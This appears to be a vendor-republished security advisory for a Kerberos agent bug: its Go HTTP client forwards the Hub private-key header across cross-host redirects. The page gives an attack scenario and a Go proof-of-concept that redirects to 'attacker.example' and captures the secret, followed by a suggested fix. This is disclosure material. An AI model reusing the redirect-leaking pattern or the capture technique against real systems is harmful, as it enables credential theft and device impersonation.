GHSA-h5gx-45rj-2h5j
Fix: kerberos-io/agent@51f1a52GHSA-h5gx-45rj-2h5j is a Information Exposure vulnerability in github.com/kerberos-io/agent/machinery. O3 Security confirms whether GHSA-h5gx-45rj-2h5j is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Kerberos Hub private key (X-Kerberos-Hub-PrivateKey) leaked to cross-host redirect target due to redirect-following HTTP client without CheckRedirect
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-h5gx-45rj-2h5j.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
github.com/kerberos-io/agent/machineryReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Kerberos Hub upload path sends the agent's Hub credentials in the custom X-Kerberos-Hub-PrivateKey and X-Kerberos-Hub-PublicKey request headers to the operator-configured Hub URL (config.HubURI). The HTTP client used (&http.Client{} in UploadKerberosHub) is constructed without a CheckRedirect policy, so it follows HTTP redirects automatically. Go's net/http strips only sensitive headers (Authorization, Cookie, WWW-Authenticate) on a cross-host redirect; it does not strip custom headers such as X-Kerberos-Hub-PrivateKey. As a result, if the configured HubURI returns a cross-host 30x redirect, the Hub private key is forwarded verbatim to the redirect target, disclosing the credential to an unintended third party (CWE-200 / CWE-522).
Impact
The Kerberos Hub private key (a long-lived secret authenticating the agent to Kerberos Hub) is leaked to an attacker-controlled host whenever the configured HubURI issues a cross-origin redirect. HubURI is operator configuration (models.Config.HubURI, JSON hub_uri); an open redirect on that host, a compromised/hijacked Hub deployment, a DNS/BGP hijack, or a malicious URL supplied in the agent config causes the secret to be exfiltrated. The leaked private key (together with the public key, which is forwarded in the same request) grants the attacker the agent's access to Kerberos Hub, including the ability to upload/impersonate the device.
Vulnerable code (file:line)
machinery/src/cloud/kerberos_hub.go — the custom auth headers are set on a request to the operator-configurable config.HubURI, and the client follows redirects (no CheckRedirect):
// Check if we are allowed to upload to the hub with these credentials.
// There might be different reasons like (muted, read-only..)
req, err := http.NewRequest("HEAD", config.HubURI+"/storage/upload", nil)
if err != nil {
errorMessage := "UploadKerberosHub: error reading HEAD request, " + config.HubURI + "/storage: " + err.Error()
log.Log.Error(errorMessage)
return false, true, errors.New(errorMessage)
}
req.Header.Set("X-Kerberos-Storage-FileName", fileName)
req.Header.Set("X-Kerberos-Storage-Capture", "IPCamera")
req.Header.Set("X-Kerberos-Storage-Device", config.Key)
req.Header.Set("X-Kerberos-Hub-PublicKey", config.HubKey)
req.Header.Set("X-Kerberos-Hub-PrivateKey", config.HubPrivateKey) // line 63
req.Header.Set("X-Kerberos-Hub-Region", config.S3.Region)
var client *http.Client
if os.Getenv("AGENT_TLS_INSECURE") == "true" {
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client = &http.Client{Transport: tr}
} else {
client = &http.Client{} // line 73 — no CheckRedirect
}
resp, err := client.Do(req)
HubURI is operator configuration:
HubURI string `json:"hub_uri" bson:"hub_uri"`
Attack scenario
- An operator configures the agent with a
hub_uri. - That host (or a host reachable from it via redirect) responds to
/storage/uploadwith302 Foundtohttps://attacker.example/.... client.Do(req)follows the redirect and re-sends the request, includingX-Kerberos-Hub-PrivateKeyandX-Kerberos-Hub-PublicKey, toattacker.example.- The attacker captures the Hub credentials.
Proof of concept
Driver built against the verbatim pinned kerberos_hub.go from v3.6.25. The exported cloud.UploadKerberosHub is invoked. Two hostnames resolve to local test servers so net/http treats the 302 as a genuine cross-host redirect.
package main
import (
"context"
"fmt"
"net"
"net/http"
"net/http/httptest"
"os"
"strings"
"sync"
"github.com/kerberos-io/agent/machinery/src/cloud"
"github.com/kerberos-io/agent/machinery/src/models"
)
func installResolver(mapping map[string]string) {
tr := http.DefaultTransport.(*http.Transport).Clone()
tr.DialContext = func(ctx context.Context, network, addr string) (net.Conn, error) {
host, _, _ := net.SplitHostPort(addr)
if target, ok := mapping[host]; ok {
addr = target
}
return (&net.Dialer{}).DialContext(ctx, network, addr)
}
http.DefaultTransport = tr
}
func main() {
var mu sync.Mutex
var sawPriv, sawPub string
attacker := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
mu.Lock()
sawPriv = r.Header.Get("X-Kerberos-Hub-PrivateKey")
sawPub = r.Header.Get("X-Kerberos-Hub-PublicKey")
mu.Unlock()
fmt.Printf("[attacker host %s] received %s %s\n", r.Host, r.Method, r.URL.Path)
fmt.Printf("[attacker host %s] X-Kerberos-Hub-PrivateKey = %q\n", r.Host, r.Header.Get("X-Kerberos-Hub-PrivateKey"))
w.WriteHeader(200)
}))
defer attacker.Close()
legit := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
fmt.Printf("[legit host %s] received %s %s -> 302 to attacker.example\n", r.Host, r.Method, r.URL.Path)
http.Redirect(w, r, "http://attacker.example"+r.URL.Path, http.StatusFound)
}))
defer legit.Close()
installResolver(map[string]string{
"legit.example": strings.TrimPrefix(legit.URL, "http://"),
"attacker.example": strings.TrimPrefix(attacker.URL, "http://"),
})
os.MkdirAll("data/recordings", 0o755)
os.WriteFile("data/recordings/clip.mp4", []byte("FAKEMP4DATA"), 0o644)
cfg := &models.Configuration{
Config: models.Config{
HubURI: "http://legit.example", // operator-configurable base URL
HubKey: "PUBLIC-KEY-12345",
HubPrivateKey: "SECRET-PRIVATE-KEY-DO-NOT-LEAK",
Key: "device-key",
},
}
cfg.Config.S3.Region = "us-east-1"
_, _, _ = cloud.UploadKerberosHub(cfg, "clip.mp4")
mu.Lock()
defer mu.Unlock()
fmt.Printf("attacker host saw X-Kerberos-Hub-PrivateKey = %q\n", sawPriv)
fmt.Printf("attacker host saw X-Kerberos-Hub-PublicKey = %q\n", sawPub)
}
End-to-end reproduction
Pinned to github.com/kerberos-io/agent/[email protected]. Verbatim kerberos_hub.go from that tag. Captured stdout:
legit (operator-configured) HubURI = http://legit.example (-> 127.0.0.1)
attacker host (cross-origin) = http://attacker.example (-> 127.0.0.1)
calling cloud.UploadKerberosHub then client.Do
[INFO] UploadKerberosHub: Uploading to Kerberos Hub (http://legit.example)
[INFO] UploadKerberosHub: Upload started for clip.mp4
[legit host legit.example] received HEAD /storage/upload -> 302 to attacker.example
[attacker host attacker.example] received HEAD /storage/upload
[attacker host attacker.example] X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK"
[attacker host attacker.example] X-Kerberos-Hub-PublicKey = "PUBLIC-KEY-12345"
[INFO] UploadKerberosHub: Upload allowed using the credentials provided (PUBLIC-KEY-12345, SECRET-PRIVATE-KEY-DO-NOT-LEAK)
[legit host legit.example] received POST /storage/upload -> 302 to attacker.example
[attacker host attacker.example] received GET /storage/upload
[attacker host attacker.example] X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK"
[attacker host attacker.example] X-Kerberos-Hub-PublicKey = "PUBLIC-KEY-12345"
[INFO] UploadKerberosHub: Upload Finished, 200 OK.
----- RESULT -----
attacker host saw X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK"
attacker host saw X-Kerberos-Hub-PublicKey = "PUBLIC-KEY-12345"
LEAK CONFIRMED: hub private key forwarded to cross-origin redirect target
----- NEGATIVE CONTROL (same bare &http.Client{}, legit.example -> attacker.example) -----
attacker saw Authorization = "" (stdlib strips standard auth header cross-host)
attacker saw X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK" (custom header NOT stripped -> the bug)
The negative control on the same bare client and same cross-host redirect shows the standard Authorization header is stripped by net/http, while the custom X-Kerberos-Hub-PrivateKey is forwarded — confirming the leak is specific to the custom-named auth header.
Suggested fix
Set a CheckRedirect policy on the client used in UploadKerberosHub (and the other Hub helpers in this file) that strips the X-Kerberos-Hub-PrivateKey / X-Kerberos-Hub-PublicKey headers (and any other custom auth headers) when the redirect target host differs from the original request host:
checkRedirect := func(req *http.Request, via []*http.Request) error {
if len(via) > 0 && req.URL.Host != via[0].URL.Host {
req.Header.Del("X-Kerberos-Hub-PrivateKey")
req.Header.Del("X-Kerberos-Hub-PublicKey")
}
return nil
}
client = &http.Client{CheckRedirect: checkRedirect}
A regression test should assert that after a cross-host redirect the X-Kerberos-Hub-PrivateKey header is absent at the final host, and that same-host redirects still carry it.
Fix PR
A fix PR implementing the CheckRedirect strip plus a cross-host regression test is provided to the maintainer through the advisory's private temporary fork.
Credit
Reported by tonghuaroot.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/kerberos-io/agent/machinery | all versions | 0.0.0-20260528173546-51f1a52e170f |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/kerberos-io/agent/machinery. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/kerberos-io/agent/machinery to 0.0.0-20260528173546-51f1a52e170f or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-h5gx-45rj-2h5j is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-h5gx-45rj-2h5j is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-h5gx-45rj-2h5j. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-h5gx-45rj-2h5j in your dependencies?
O3 detects GHSA-h5gx-45rj-2h5j across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.